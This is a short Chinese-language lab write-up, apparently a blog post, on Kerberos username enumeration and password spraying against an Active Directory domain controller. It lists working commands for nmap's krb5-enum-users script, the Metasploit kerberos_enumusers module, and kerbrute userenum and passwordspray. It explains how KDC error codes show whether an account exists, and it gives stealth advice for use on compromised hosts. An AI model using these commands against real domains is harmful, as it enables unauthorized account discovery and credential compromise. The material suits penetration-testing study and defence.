域内用户名枚举和密码喷洒
域内用户名枚举和密码喷洒
于Kerberos本身是一种基于身份认证的协议,所以也可对进行暴力破解或用户名枚举,并且不需要域用户下,只要攻击者所控的机器可以与域控的KDC正常通信即可(可以ping通)
实验
我这里实验主要是域控administrator、域成员af、还有一台非域机。
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='aufeng.com',userdb=C:\Users\ou\Desktop\user.txt 10.0.0.3
域是aufeng.com 字典位置在C:\Users\ou\Desktop\ 域控ip是10.0.0.3
msf 中类似的模块
use auxiliary/gather/kerberos_enumusers
set rhost [DC IP]
set user_file 字典文件
但实际渗透中,你拿下内网非域机子后,别人可能没安装nmap,而你要在人家的机子上安装nmap动静太大,所以直接上传个kerbrute工具是最好不过的。
kerbrute_windows_amd64.exe userenum --dc 10.0.0.3 -d aufeng.com user.txt
分析
Kerberos服务所在端口为88端口,采用tcp连接。为何能利用Kerberos域进行用户枚举?利用Kerberos错误代码进行判断
三种状态的错误代码分别为:
KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用
KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在
爆破的时候直接抓包分析,并对10.0.0.3域控的所有请求筛选出来,可以看到如果存在这个域用户名就会有KDC_ERR_PREAUTH_REQUIRED的提示
密码喷洒攻击
其实就是内网信息收集后,用同一个密码去爆破不同的用户名,去碰撞。实战这招屡试屡爽
kerbrute_windows_amd64.exe passwordspray --dc 10.0.0.3 -d aufeng.com user.txt Ou123456